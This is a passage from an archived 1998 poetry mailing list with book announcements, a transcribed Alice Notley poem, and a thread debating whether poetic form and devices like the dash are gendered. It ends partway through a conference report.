- -

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22. Burt Kimmelman

Talisman House (Ed Foster has asked me to forward the below to the List)

Wed 1 Apr 1998

From: MX%"[redacted]" 1-APR-1998 14:51:21.19
To: MX%"[redacted]"
CC:
Subj: RE: talisman

Date: Wed, 1 Apr 1998 14:51:12 -0500 (EST)
From: Edward Foster <[redacted]>
To: "Burt Kimmelman [redacted]" <[redacted]>
Subject: RE: talisman

here's the data, burt. THANK YOU!!!

NEW TALISMAN TITLES:

Mary Margaret Sloan, ed., _Moving Borders: Three Decades of Innovative Writing by Women_; 768 pages, 65 poets, plus book-length selection of essays on poetics. ISBN: 1-883689-47-3, $29.95 "A major anthology . . . an impeccable selection of poets, poetry, and poetics." --Charles Bernstein. "In its range, breadth, discrimination, and selectivity, as well as its profound knowledge of the 'state of the art,' _Moving Borders_ bears witness to the very real revolution that has occurred in the poetry of North American women over the past three decades." --Marjorie Perloff. "Demanding and challenging" --Library Journal.

Lisa Jarnot, Leonard Schwartz, and Chris Stroffolino, eds., _An Anthology of New (American) Poets_ 35 poets, 368 pages. ISBN: 1-883689-61-9, $21.95. "Read. It's the language of our future" --Rosmarie Waldrop. "Represents a new opening of the field for American poetry." --Paul Hoover. "A boon to the ongoing struggle to keep the world safe for poetry." --Anne Waldman. "Helps solidify the emerging contribution of a promising generation. --Publishers Weekly

Lyman Gilmore, _Don't Touch the Poet: The Life and Times of Joel Oppenheimer_ Cloth, photos/illustrations, 260 pages. ISBN: 1-883689-64-3, $21.95. "A necessary book, and also a delightful one." --Hayden Carruth. Oppenheimer "has found in Lyman Gilmore a superb biographical narrator and best of all, the reader who gives him his rightful place in American letters." --Andrei Codrescu. "A fine literary biography." --Boston Globe.

William Bronk, _All of What We Loved_. 144 pages. ISBN: 1-883689-65-1, $13.95. New collection of work by the poet described in the _Dictioary of Literary Biography_ as "one of our most intimate, haunting, and important poets." "Arguably the most metaphysical poet of his generation." --Hungry Mind Review. "One of our modern masters." --Michael Heller. "A poet of great distinction." --Small Press Review. "He is brilliant." --Southwest Review.

Talisman books are available in good bookstores and can be ordered through SPD and LPC/InBook. Phone orders (Visa/MasterCard): [redacted].

For a complete catalogue, write to Talisman, P.O. Box 3157, Jersey City, NJ 07303-3157.

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23. k. lederer

A poem by Alice Notley

Wed 1 Apr 1998

I think the following poem is interesting vis-a-vis the very basic notion that babies and other "womanly" things aren't taken seriously as "poetic" subject matter.

In my view such a notion is only a starting point and in no sense relfects the entire scope of what one might talk about vis-a-vis "women/poetry"--

Anyway--my ambivalence stated, I wanted to type in the following poem by Notley. I think it is certainly relevant to the discussion at hand--but I also just love it--

***

JANUARY

Mommy what's the fork doing?
What?
It's being Donald Duck.

What could I eat this?
Eat what?
This cookie.

What do you mean?
What could I eat it?

Does he bite people? The fish is dead. That fish got
dead today. That fish gets dead today, right?

These are my silver mittens Mommy
No, it's gold, they're gold mittens

On myself
I put my black
hat
and my mit-
tens,
myself.

Edmund. Edmund. Edmund. Maaaah. Lodle Lodle Lodle

Daddy, the doctor did put that wart on you,
right?

I touch the purple petals
She says Hey!

The flower says, we are purple,
together
they touch purple it keeps purple
purple means us, here.
The air moved a person. I like people
because they are as serious
as I am. Being purple is very serious.
It's dense and still.
It's a matter of fact
but light seems it.
I seem the light
makes me feel purple.
A petal is crumpling I've done
before
I sleep in the bulb.

Being purple is long.

Crumpling is not as serious
as being purple

(I may disagree.)

I'm not serious not smiling.
I'm smiling

as crumpling
only a little now.
I'm mostly staying seriously purple now.

Do you remember when you were like Edmund?
Yeah.
What did you do?
crawled with him.
Do you remember last year?
Yeah, Mommy what did you
do when you be Anselm?

The jacket is furniture.
I have to fix, Mommy.
I have to fix all the tools.
I'm in the snow and my feet go in the footprints.

I'll look up "love" in the dictionary. They're beautiful.
Bodily they're incomprehensible. I can't tell if they're
me or not. They think I'm their facility. We're all about
as incomprehensible as the crocuses. In myself I'm like a
color except not in the sense of a particular one. That's
impossible. That's under what I keep trying out. With
which I can practically pass for an adult to myself. Some
of it is pretty useful, like when I say to them
"Now will I take you for a walk in the snow to the store"
and prettily and usefully we go. Mommy, the lovely
creature, You should have seen how I looked last night,
Bob Dylan Bob Creeley Bob Rosenthal Bob On Sesame Street.
Oh I can't think of any other Bobs right now, garbage.
It perks. Thy tiger, thy night are magnificent,

it's ten below zero deep deep down deep in my abdomen.
It pulls me up and leads me about the house. It's got the
sun in the morning and the moon at night. It does
anything careless love sees that everything goes, minds.
The melody was upsidedown, now the melody turns over.
One note: my feet go.

30 years old and married 4 years 2 children
is the same little girl in the yard
until dusk and into night
in air with myself, others
has a mother and father
nature (courage)

smiles frankly at the camera don't
blot your anonymity your littleness
child you are is the source of all
honestly bliss at dusk in Chicago
is face you've ever been
                and almost before
duky the child air you are
handsome you're head-to-toe

It's too early. It's too dark. If I can't watch tv I'll turn on the light and look at stars.

I see 2 full moons.

I walk.
I am big.
I can say
what they
say. It's
fun to
sound. I
walk. I am
big. I finally
get the blue
and red container
of...
sneezes!

the trees have no leaves they lean
like her over the snow and green
wire fence of the school
                the sky
is white low low low
                Greegy Ruthy
and Jill are there

Daddy tomorrow we'll have donuts and chocolate soda and my birthday party and eat snow and throw snow and make snowmen.

He'll take off your wart tomorrow and you won't be sick.

My armpits smell like chicken soup. But really I hate them because of their tacky and unchanging book collection. My head weighs too much on the pillow. I have to sweat. I'm crying free water don't worry. Under your tongue looks like

pussy. You seem to bloom. The colors are brighter but I
think I'm deaf.
                I'm remembering all my dogs.
One was taken away because he howled too much and my
parents said he wanted to fight in World War II and so joined
the army. All things considered there's nothing to say for
Chicago. I dreamed you lead an army of empty pieplates
against another one. I dreamed you had a baby. I despise
someone. I have to sweat. I need you to stop this train.

I didn't lose any weight today
I had clean hair but I drove
Ted nuts and spanked Anselm on
the arm and wouldn't converse
with him about the letter C. And
didn't take Edmund out or change
the way the house smells or not
drink and take a pill and had to watch
John Adams on tv
                and fantasized
about powers of esp when on lsd--
there is no room for fantasy in
the head except as she speaks.
The Holy Ghost is the definitive
renegade like in the white falling-out
chair stuffing, 2 chairs
                asking me if
I liked my life and said
                how could
you dislike being a poet? and having
children is only human
                but
she meant my chairs. The
trouble is the children distribute
the stuffing to the wind. It's
soft and pliant and they can do it
intimately together.
There are 4 green sunbursts on the
curtain. Oh it is cold at night but
the jade plant will handle it.

Came in from the snow and melted on
the floor. There's

Glistening where Jill and Ruthy's feet
Sat Ruthy with braids and colored
Yarn in her hair, a girl
Beauty cars go by to hitch
Away on
is it their rumble
That comforts? Or this room full
Of everyone who's sat making
Stuffing appear from the
Chairs, and flowers too last years

They just want to do their yoga too. I guess so. I try
to call up Casey Gold. Some money comes by anyway; the
day brightens, Casey Gold.

I don't appreciate the simple
war of nerves
my courtesy
rewarded with a goring
is it boring
the toro rhymes, what else do
children have to think about?
well if the cape is all wet it won't
blow in the wind
but I have to check
something
You're still in no condition
to fight a bull
But he's found his own...
What a glistening golden
baby!
Enough to make one woozy. Matador,
I am with the wind and unwinding
as wonderfully useless to you.

[HOW SPRING COMES, The toothpaste Press, 1981)

↑ Index

24. k. lederer
Re: more boring chit-chat
Wed 1 Apr 1998

Standard,

You ask a couple of questions that interest me:

1. Is it possible, and if so, how, to analyze formal aspects of poetry through a lens of gender identification?

Of course it is. In the "mainstream" one need only look at some of the more popular female writers to see that gender allows one (in that milieu) to "get away" with a lot more formal deviation-- (cf. Graham, Hillman, Fulton etc...).

I think it is also entirely possible to do individual readings of various "experimental" female writers through a lens of gender identificiation--

One might argue that Scalapino's very strange descriptions of sex in Front Matter, Dead Souls have a lot to do with her gender position--

I find Howe's work as it relates to her critical work on Dickinson clearly "gendered" in various ways. Howe's arguments vis-a-vis Dickinson and A. Hutchinson--her exploration of antinomianisms as they seem bound up with a feminine or feminist politics certainly show through in her poetry--

Formally one might argue that her scattering of phrases and words is not onlly a visual statement, but a political one as well--a formal enactment of antinomianism--a formal enactment of the evasion of official identity.

Carla Harryman's recent work (There Never Was a Rose Without Thorn) is extremely resonant with the conversation that's been going on here. In a number of her pieces she plays with and trespasses upon various gender categories--

One piece that I remember fairly vividly deals with a "person" who's in an art gallery. It is never clear whether this person in a man or a woman. We see the person in question move through the gallery--he/she thinks all sorts of sexual thoughts, attempts to masturbate with a telephone, and even converses with the gallery owner--but we are left none the wiser re: his/her gender identity.

In other words, he/she gets into all sorts of narrative situations that would normally warrent a pretty clear knowledge of the character's gender. Harrayman has to jump through some pretty lofty narrative hoops to achieve the desired effect of what feels like a strange sort of gender-related vertigo.

And so on.... it is actually pretty easy to go through various female authors (as one might do the same for men, ostensibly--Watten's stereotypically masculine obsession with history, Bernstein's stereotypically male interest in the formalities of the rant and so on...)--

But the danger here seems to be that such formal trends will be chalked up to gender and nothing more. I mean, it's not always clear how much of a given poet's writing is determined by gender-related tendencies and how much is related to the person's individual personality. As in, maybe Scalapino is just a quiet writer--Watten a loud one (witness the typography in his new book out on the terrific Atelos Press, Bad History...)

2. How do I or anyone else on this list further my theoretical ideas about gender in my poetic work.....

The most glaring example I can think of here in my work would be my use of the dash. In some of my work I employ the dash more than liberally.

Once a woman who didn't like me called my work "super-model poetry"--primarily because of my use of the dash (she used it too and seemed to feel that I was trespassing on her poetic turf by using it)--

I would argue that the dash is probably the single most feminized formal aspect of poetry being employed right now--

We see it associated with female writers as diverse as Graham, Scalapino, Hillman, Dickinson, and Notley--

We do not often see it associated with guys.

Some thoughts,
Katy

↑ Index

25. laura and jeff
Re: shall we agree to boycott B&N?
Wed 1 Apr 1998

---

and borders (and the companies they own: waldenbooks, coles, brentano's [sp?]). what i do is: i go to borders, etc. and get the isbn numbers, exact title, author, and publisher for the books i want and can't find at my local indy book store (the isbn number is one of the easiest ways to find books), and then take these to the local and place my order. around a week later i have my book, and a small buisness is not undercut. jeff.

>another anecdote (from PW):
>
>Charlottesville Shutting: Williams Corner Bookstore to Close
>
>Michael Williams has one word when asked abut the superstore
>competition that he says put Williams Corner Bookstore, his
>Charlottesville, Va., independent, out of business. "Gangsters,"
>he says coolly. "That's all there is to it."
>
>Williams, who is otherwise soft-spoken and has owned his 2900-
>sq.-ft. store since it opened in 1977, will close as early as April 20,
>pending a lease signing by a new tenant. Only six years ago, Williams
>had expanded the store, hoping this would protect it against the

>impending arrival of a cross-town Barnes & Noble.
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>Charlottesville, home of the University of Virginia, supports a thriving
>bookselling community. But that has also meant more competition for
>Williams. Apart from the usual suspects, he has had to contend with
>New Dominion, another independent a block-and-a-half away that
>he describes as "a good bookstore." (In fact, Williams plans no
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>> I welcome all your contributions; we can make a million bucks off this.
>>
>> Jonathan Mayhew
>> Department of Spanish and Portuguese
>> University of Kansas
>> [redacted]
>> [redacted]
>

Listen,
if the stars are lit
it means there is someone who needs it.
It means it is essential
that every evening
at least one star should ascend
over the crest of the building.

↑ Index

26. Peter Balestrieri
Berkeley Bookstore
Wed 1 Apr 1998

Hello, Can someone help me with the name of the bookstore in Berkeley that has the great poetry collection? I can't remember who mentioned it

recently but I'd very much like to visit. Please back channel. Thanks, Pete Balestrieri

↑ Index

27. **SSSCHAEFER**
Re: more boring chit-chat
Wed 1 Apr 1998

Katy:

As usual, lots to chew on and thanks plus I feel smarter now having read your thorough post. So thanks.

First off, for the record, no one has given me as editor more trouble about dashes than Ray DiPalma who is very specific about the SIZE of dash he likes and so what does that say about his gender identity?

Second, what on earth is "super model poetry" and why am I so excited? Please send some.

Third, Leslie Scalapino just read some "sex" poems from WAY, I believe, here in town yesterday, and I was struck about how at least in that manuscript, it seemed a bit more like reading phenomenology. Plus a little particle physics. But detached, I mean in big way. FRONT MATTER, DEAD SOULS I can't recall too clearly here, but Leslie was telling me that she felt that a large part of her work resists the idea of a reader who can "identify" with the work.

This I find really interesting. How does a male-constructed-subject identify with a poem that is "gendered" female? And vica versa, of course. In some partial way? In some alienated fashion? No idea. Does this resistance to the notion of "identification" have anything to do with gender-- Bernstein, as you say, does the male rant and so I often feel there is a "voice" (definitely in recent work that he read here in LA) that can be "identified" with (for me as a male-constructed-ranter).

Best,

Standard

↑ Index

28. **dbkk**
Re: more boring chit-chat
Wed 1 Apr 1998

> *Date: Tue, 31 Mar 1998 14:47:03 EST*
> *From: SSSCHAEFER <[redacted]>*

> *Subject: Re: more boring chit-chat*
>
> *One thing Iím noticing is that exactly what I feared would happen, is happening. Iím ëworryingí people simply by trying to get "women" to tell me exactly what the relevance of a gender conversation is to the act of writing poetry.*

If we gals can scare you, Standard, then it's all been worth it.

Dodie implies, I think, that as to the degree that she is a "woman,"
>it effect the content of her writing. Have not heard anyone address the form
>or technique issue. Here, I am reminded of John Shoptawís interesting book on
>Ashbery wherein he outlines how Ashberyís "homosexuality" effected the way he
>wrote. Does not in any way imply that all homosexuals are "homotextual"
>writers, etc.

Why don't you try reading my writing and the writing of the rest of the women on the list and then you'll see how much of it is all about technique. And the notion of a female form has been kicked around ad nauseum since when--the 70s, the 80s? It's essentialist gaga. Why should we have to kick it around again to conform to your idea of a serious discussion?

Dodie

↑ Index

29. **r. drake**

Re: Berkeley Bookstore

Wed 1 Apr 1998

---

small press distribution? 1341 7th st., berkeley 94710; [redacted]

> *Hello,*
> *Can someone help me with the name of the bookstore in Berkeley that has the great poetry collection? I can't remember who mentioned it recently but I'd very much like to visit. Please back channel.*
> *Thanks,*
> *Pete Balestrieri*

↑ Index

30. **dbkk**

Re: screening process/feminism

Wed 1 Apr 1998

> *Date: Tue, 31 Mar 1998 18:07:21 -0700*
> *From: Rachel Levitsky <[redacted]>*

> *Subject: Re: screening process/feminism*
>
> *Dodie--I think that is an excellent screening process and am not surprised that it works as a filter.*
>
> *I was curious about your comment about no longer being a feminist. I often feel like a bad feminist myself but I don't think anything to drastic has changed in me--I'm just more willing to be vocal about all of me, pervert and feminist. Can you enlighten??*

Actually, Rachel, when I said that about no longer being a feminist (that's a hard word to spell) I was being light-hearted about no longer being in the preciousness of the Feminist Writer's Guild. I don't like to align myself with any group at this point--even feminist--the ugly specter of political correctness raises its head--and self-censorship is close behind. I've been reading feminist theory for like 20 years and at least 90% of the books I read are by women. I think an important thing that was covered in Kathleen Fraser's project, and which I've really taken to heart, is that women do not have to engage language in a manner privileged by male poets and thinkers. Her ideas, for instance, of "and/but" (female) as opposed to "either/or" (male). I'm leary of making rules about this or generalizing. Ecriture feminine was interesting and radical when it came out, but now I think lots of people find it problematic. I think that one shouldn't feel a compulsion to use male forms in writing, but also one shouldn't feel pressured into speaking about writing in the current cliches of the intelligencia. I've been thinking about something Katy said a few days ago--something about how she'd read her Derrida and Foucault--like she'd done her homework--and now she has a right to talk about women. I think this points up the sickness--not of Katy--but of the comically elitist poetic avant-garde in which many of us are involved. Why does Katy have to have read Derrida and Foucault--or feel that she should have--in order to validate her speaking? If D and F feed her writing, that's one thing, but the compulsion that everybody who's intelligent and writing poetry must read them is bunk.

I look forward to the day when a younger version of Katy will say, "I've read Catherine Clement and Jacqueline Rose . . ." Or even Laura Mulvey . . . That's when feminism will have really made a dent.

Dodie

↑ Index

31. **Mark Weiss**

Re: more boring chit-chat

Wed 1 Apr 1998

Katy, with all due respect, you're mostly talking about subject matter. And if scattering words on a page is antinomian, then a lot of us are antinomians--and, _pace_ Hutchinson, most of the antinomians in her day were male. The dash, too, is pretty thin. For a long time the available editions of Dickinson eliminated them, by the way, making her usage unavailable as role model. Williams was very fond of dashes, as am I--but I've written a fair number of poems invoving children, which may disqualify me as an exemplar. On that last subject, here's a few from _Questions, Short Poems, Water & Air_, by Ira Beryl Brukner, which will appear from Junction Press this summer.

special delivery

our love our new-born baby
has a dimple in his right cheek
and the longest brown eyelashes
part polliwog-hummingbird
going from breast to breast
with kisses all over his inches
those little hands and feet
that rose-petal mouth moving
from a smile
to a scowl
in a heartbeat

two days old

bundled up
and snuggled against my chest
is our half-asleep boy

I walk through town
stopping now and then
to introduce him
to falling flowers of ice
and adults wowed by his nose

he cries and coos
massaging my ribs
with his pea-pod toes

raphael

rubbing my calf
with his head
under the desk

rubbing my head
with his calf
under the desk

rocking his rocker
after standing on his horse

I'm not sure that there is such a thing as a feminine poetic, as opposed to areas of concern that are not exclusive to but more common among/important for women, and viewpoints that are more nearly gender-exclusive, and I'm also not sure why it's important that there be one.

I also like to remember that two of the earliest poems we have, the songs of Deborah and Miriam, don't much conform to the stereotypes of women that have developed in the west since the troubadours, when the Jewish concept of the Woman of Valor got lost.

At 05:22 PM 4/1/98 -0600, you wrote:
>Standard,
>
>You ask a couple of questions that interest me:
>
>1. Is it possible, and if so, how, to analyze formal aspects of poetry
>through a lens of gender identification?
>
>Of course it is. In the "mainstream" one need only look at some of the
>more popular female writers to see that gender allows one (in that
>milieu) to "get away" with a lot more formal deviation-- (cf. Graham,
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>
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>Formally one might argue that her scattering of phrases and words is not
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>
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>various gender categories--
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>One piece that I remember fairly vividly deals with a "person" who's in an
>art gallery. It is never clear whether this person in a man or a woman. We
>see the person in question move through the gallery--he/she thinks all
>sorts of sexual thoughts, attempts to masturbate with a telephone, and
>even converses with the gallery owner--but we are left none the
>wiser re: his/her gender identity.
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>In other words, he/she gets into all sorts of narrative situations that
>would normally warrent a pretty clear knowledge of the character's gender.
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>2. How do I or anyone else on this list further my theoretical ideas about
>gender in my poetic work.....
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>The most glaring example I can think of here in my work would be my use of

>the dash. In some of my work I employ the dash more than liberally.
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>Once a woman who didn't like me called my work "super-model
>poetry"--primarily because of my use of the dash (she used it too and
>seemed to feel that I was trespassing on her poetic turf by using it)--
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>I would argue that the dash is probably the single most feminized formal
>aspect of poetry being employed right now--
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>We see it associated with female writers as diverse as Graham, Scalapino,
>Hillman, Dickinson, and Notley--
>
>We do not often see it associated with guys.
>
>Some thoughts,
>Katy
>
>

↑ Index

32. k. lederer
Interesting chit-chat
Wed 1 Apr 1998

Hi Standard--

It has been raining all day here after a week of beautiful summer weather--

But somehow I am not disappointed as I know this is the spring that should have happened in between.

I find your use of "identification" or lack thereof interesting.

The first thought that popped into my mind while reading your take on Scalapino was that, at least, for me, the space of "non-identification" she opens up is exactly what draws me in.

As in, in a world where, perhaps, I feel "kept out" of those spaces (including various poetry books) that might be gendered male, Scalapino's nearly neutral gender spaces seem inviting--

Particularly in regards to her depiction of sex I feel as if I'm watching an act that is not so much genderless as animal?

Often when I read her work I feel as if I'm regarding various almost science fictional beings--

They are perhaps gendered, but only in so far as, let's say, Octavia Butler's characters in her sci-fi materpiece XENOGENESIS are gendered.

In other words, perhaps it is Scalapino's uncanny ability to create "negative" gender spaces that allows the likes of me to "identify" with her work.

Best,
Katy

↑ Index

33. k. lederer
Re: more boring chit-chat
Wed 1 Apr 1998

I never said--or meant to imply--that ALL dashes=feminine.

Nor did I say that ALL poems that included babies etc. were written by women.

Nor did I say that one might associate the dash with a "feminine" subjectivity because Emily Dickinson was a role model per se--

What I am trying to address is the way in which form and subject-matter (as they might be extricated from one another) might embody or otherwise buttress certain political goals that women as a "subjectivity category" might wish to accomplish.

Best,
Katy

↑ Index

34. Mark Weiss
Re: more boring chit-chat
Wed 1 Apr 1998

Let me add that no one rants better than Rochelle Owens. Even Charles might agree.

For a great male rant see Armand Schwerner's _The Tablets_. Can't find my copy of its last incarnation, so I can't cite the specific one. Anybody help me out there?

↑ Index

35. **Wendy Kramer**
samuel delany
Wed 1 Apr 1998

I was sorry to miss samuel delany's visit to buffalo's wednesdays at four. could people fill me in on what y'all discussed/heard?

appreciated,

a fan

↑ Index

36. **Gwyn McVay**
Re: screening process/feminism
Wed 1 Apr 1998

```
>>>"either/or" (male).  I'm leary of making rule
                       ^^^^^
```

OK, have been accused of sarcasm in recent days, but I've seen this typo on a great many mailing lists, and I'm not hallucinating. I am trying to restrain my acid remarks, and will say merely: this whole discussion is a real trip.

Gwyn "No, he's outside" McVay

↑ Index

37. **Maz881**
Enigma Variations
Wed 1 Apr 1998

Dear Poetica,

Those of you interested in non-fixated notions of gender have not much time. Copies of Alex Smith's Enigma Variations are running out. Please support the arts. Make checks out to 'a'a arts.

Send $5 to:

Bill Luoma
3029 Lowrey Ave #A-1102
Honolulu, HI 96822

In your order please indicate you endorse fluxing notions of gender! Say YES! I too am a gender bender. In return Chapman Billy guarantees you will receive a smart little letter press chapbook you can take to bed:

"Landing on the moon
she thought, Only a man

could get where I am
and stay.
She was a waiter,
a red, a cage of
again and again.
She said she could wait
and did, and now came
in outer space"

--Alex Smith

Thanks you for your support.

↑ Index

38. Patrick F. Durgin
Re: more boring chit-chat
Thu 2 Apr 1998

Katy,

Re: Of course it is. In the "mainstream" one need only look at some of the more popular female writers to see that gender allows one (in that milieu) to "get away" with a lot more formal deviation-- (cf. Graham, Hillman, Fulton etc...).

I guess I am wondering how, and in what "mainstream" gender makes this allowance. Explicate?

And the dash? Obviously in Dickenson, but how is this gendered, as a technique? The dash in Pound, I would add, is crucial.

Guess I find these remarks a little confusing.

Patrick F. Durgin

`
`
`
` ----->*<-----
` K E N N I N G|
` anewsletterof|
` poetry&poetic|
` s418BrownSt.#|
` 10IowaCityIA5|
` 2245USA\/\/\/|

↑ Index

39. Charles Alexander
announcing books
Thu 2 Apr 1998

ANNOUNCING NEW BOOKS

Chax Press last spring produced one small book which combined desktop publishing technology with hand bookmaking processes. That was THE MASQUE OF RHYME, by Bob Perelman.

This winter/spring, we decided to really explore some bookmaking in this way which is new to us, and now have some books to announce -- books which were first made available at readings by their authors here in Tucson in February or March 1998, or are about to be made available at readings here.

They are:

Tom Raworth and Charles Alexander Three Poems and Pushing Water (part seven) This one is a dos-a-dos book, meaning it can be read from either side to the middle, one such reading being Tom Raworth's Three Poems, the other being Charles Alexander's Pushing Water (part seven). The text pages of the book are produced on the desktop. The covers are letterpress printed, and two color images (one by Tom Raworth and one by Cynthia Miller) have been placed on the covers via color inkjet printing. Cover papers are Arches cover paper. Endsheets are Japanese chiri paper; middle-sheet dividing the work by the two poets is an Indian decorative paper. The book is hand sewn with Irish linen thread. Numbered and signed by the authors.

Rae Armantrout Writing The Plot About Sets Four poems by Armantrout, whose titles are "Writing," "The Plot," "About," and "Sets." The poems are designed and printed on the desktop. Covers are Arches cover paper which has been painted in various colors by mixing acrylic paint and water in a spritzer bottle and spraying the pages, a process which was accomplished by Cynthia Miller. A title label, printed on Asian decorative red paper, is pasted onto the cover. The book has been hand sewn with Irish linen thread. Numbered and signed by the author.

Tenney Nathanson One Block Over A single long poem by Nathanson, this book's text was produced on the desktop. The cover paper is a strong, blue denim-colored fine art paper, and the title has been rubber stamped on the cover. At 44 pages, the book was too long for the single-signature sewing of most other books in this series, so we sewed the book by hand with a coptic stitching which remains exposed on the spine. Signed by the author

Lydia Davis Blind Date The only book of fiction in this series, this is an until-this-moment unpublished story by Davis. This book is larger than the others, at 11 inches tall by 5.5 inches wide. It is not sewn, rather contains sheets

pasted together and folded to form an accordion structure which is pasted into boards covered with decorative paper. This book is currently in progress in our studios and will be ready by April 22. It will be numbered and signed by the author.

Lisa Cooper Tilt Rail A set of poems by Cooper written on the occasion of the performance by the Rob Blakeslee Quartet in Tucson. This book has not yet been made, but is in the works and will be ready by April 22. We are currently choosing the papers for covers. It will be hand sewn, numbered, and signed by the author.

All books have been produced in small editions, ranging from 100 to 120. We prefer to sell these books as a set of 5, and require that at least 3 books be ordered together. Each book sells for $8. Buying a set of three (your choice)for $24 gets you free shipping and handling. Buying all five gets you a ten per cent discount as well as free shipping and handling.

We also have just a few copies available of Perelman's The Masque of Rhyme.

If anyone would like to begin a standing order for all books published by Chax Press, please send us a request as to how you may do so. Also send us a request for a list of available books and prices, or visit our web site:
http://personal.riverusers.com/~chax/

Please send reservations for books directly to Chax Press via email at [redacted]

We will process/mail your order as soon as payment is received. If you are a library we will take your order, ship books, and send you an invoice.

Checks may be sent to:

Chax Press
101 W. Sixth St., no. 6
Tucson, AZ 85701-1000

Our most recent trade literary books (not handmade edition) are
THE TONGUE MOVES TALK, by Karen Mac Cormack,
and
3 OF 10, by Hank Lazer.

Forthcoming in June 1998 are
Chromatic Defacement, by Phillip Foss,
and
& Calling It Home, by Lisa Cooper.

We are also at work on a deluxe handmade edition of
Chartings, by Ray DiPalma and Lyn Hejinian.

charles alexander :: poet and book artist :: [redacted] chax press :: alexander writing/design/publishing books by artists' hands :: web sites built with care and vision http://personal.riverusers.com/~chax/ :: http://alexwritdespub.com

↑ Index

40. Marcella Durand

Tired chit-chat

Thu 2 Apr 1998

Just got back from a reading by Renee Gladman & Diane di Prima at the Poetry Project--oddly related to some of the issues about here--so I'm tired and may not make complete sense.

However, would like to respond in part to some of Standard's and Marc's thoughts: I do agree deep down that gender personality is a societal construct, and find any attempts to trace personality to physique ultimately limiting and depressing. However, that societal construction goes back so deep that it is hard to analyze and understand completely (if at all). But I do find some important areas in which experimental women poets are working to overcome that Silence that so many women function (or perceive they function) within. And one of these areas is on the level of syntax. I do remember reading Stein when a callow student, and just finding the basic structure of her sentences incredibly alluring compared to many of the traditional, which, sorry, included mostly male writers I was also reading. Toward the end of "A Room of One's Own," Woolf refers to this difference in structure that she was finding between women and men writers. Now, I completely regard this as gender nonspecific and feel that since modernist women writers, and even early women writers working in the late 1800s, opened up a certain syntactical and structural space that may have been due to the impact of being "silenced"--silenced in intention and content which then found its way into structure and syntax--that many male writers found interesting and inspiring as well. (I know that I'm entering a certain radicality here, by implying that the whole shift of the early 20th century was due to women writers, but hey, it's late and I've got that foolhardiness granted by tiredness).

Anyway, Cixous (this is also going back to college, and I should re-read some of this myself) postulates that in language there is a male kind of syntax that is perceived as "better": that is, subject-verb-object, linear, logical, introduction, body, conclusion, etc. "Female" writing is cyclical (of course), non-linear, I think you can guess the rest. But her ideas are interesting when applied to someone like, say, Stein, or even Susan Howe, who is taking a traditionally linear topic, history, and writing about it in such a way that makes you re-think the syntaxes in which you read history.

Good night,
Marcella.

↑ Index

41. Christopher Reiner
Scalapino and Ward Reading
Thu 2 Apr 1998

Anyone in the Los Angeles area--heads up:

Leslie Scalapino

Diane Ward

Reading at Cafe Balcony
12431 Rochester Avenue (corner of Santa Monica & Centinela)

Sunday
April 5, 1998
4:00 p.m.

$5 admission (all proceeds go to readers)

Sponsored by L.A. Books
http://www.litpress.com

↑ Index

42. ScoutEW
alligators, dense fog and Scala piano
Thu 2 Apr 1998

"Ho Ho Ho Ho Ho Ho Ho HOOOO my Poooooor siiides
I I Should die if I were to live here said Scopprell Ho Ho HO HO HO"

-never though Senor Blake could be such fun-so how is it out there in poetical land- When the dust settles out, the clouds lift and people start sifting and sorting thru the remains of this century -people are going to remember some great thinkers of the 20th century. Teenagers everywhere are going to carry copies of Leslie Scalapino's Defoe under there arms and read together in groups on stage and in alleys.

--"In the reality which is created by a writing, to narrow to the outlines of its form is utter scrutiny, is real. It's the interior relation of experience." Scalapino

I'm trying to work my way thru Alfred North Whitehead now, and holy vectors, Olson really knew what he was talking about. Scalapino is one of the best writers we have out there, I wish somebody would send me some info on that reading Anselm Berrigan is doing at HERE this weekend, I'm taking a trip down the

Hudson to NY-seaty to see my hermana and would like to stop by and see the reading, thanks erik

↑ Index

43. Mark Weiss
Re: Tired chit-chat
Thu 2 Apr 1998

I've been hearing about putative distinctions about the way men and women write (as opposed to the subject of their writing) for maybe 30 years, and I've yet to see them demonstrated. Laurence Sterne wasn't the first man to write in the manner that Cixous describes as female, and the Brontes got away with pretending to be male. Their writing wasn't obviously female to anyone until it was revealed to be so. Somebody a long time ago decided that rhymes ending with an unstressed syllable were "female." The designation was certainly applied by a male, and while the designation is rich with suggestion about attitudes about gender, it's prosodically nonsensical. Men and women have been more-or-less communicating with language for a long time, and men and women have been unselfconsciously enjoying each other's writing for almost as long as there's been writing, and usually without the need of a translator. So the differences must be relatively superficial. I don't know that the suggested gender difference, however slight or major, is important to any agenda, but I would be intrigued if it exists. Rather than quoting theorists why not present a text and explain convincingly why it has to be by a member of one or another gender?

>Anyway, Cixous (this is also going back to college, and I should re-read
some of this myself) postulates that in language there is a male kind of
syntax that is perceived as "better": that is, subject-verb-object, linear,
logical, introduction, body, conclusion, etc. "Female" writing is cyclical
(of course), non-linear, I think you can guess the rest. But her ideas are
interesting when applied to someone like, say, Stein, or even Susan Howe,
who is taking a traditionally linear topic, history, and writing about it
in such a way that makes you re-think the syntaxes in which you read history.
>
>Good night,
>Marcella.
>
>

↑ Index

44. Joe Amato/Kass Fleisher
dis-appointment...
Thu 2 Apr 1998

(((please read through to the end)))

just back in town from a memorable conference at suny/stony brook... much to report, but i'll keep this as brief as i can:

first, to thank all of those who visited my website for the conference, and gave me feedback of any sort---pro con whatever... this helped immeasurably in my presenting something worth listening to, and in giving me *confidence* to stand before a group of talented and committed scholars and artists, and say what all i said...

second: to say, again, that i find the discussion of feminist and gender issues on this list vital and refreshing... and to thank nada gordon for such a fascinating post, which just happens to include a nice reference to past posts of mine... thanx nada, and i almost wish you hadn't mentioned me, b/c it now may appear as though i'm saying this in part b/c you mentioned me!...

third, to voice a minor disagreement with katy and keston (and katy---i just love your posts, and keston---please continue to post your poetry!): while i do think we need to think through simplistic binaries ("mainstream" vs. "experimental") i do at the same time believe in concentrated power centers, and in the relative disregard for (primarily and by my definition, non-mainstream) poetries in academe and in our public domain (which i continue to believe we have here in the states, though perhaps i'm hallucinating)... that is, i do think poetry and poetics is in general neglected, and that this is best gauged by having a look at what goes on in the less prestigious institutions... call me an ambitious guy, as i've said before... but we learn much by looking at the (english) and other student (grad AND undergrad) bodies, and by considering how these bodies have become increasingly the (often uncontested, sadly) site of corporate appeals and public relations strategies... which is to say, bodies that know little and often care little of political action, thanx in large part to the way our educational systems work, current economic realities, etc... please not to read this as an appeal to "conservative values" or some such...

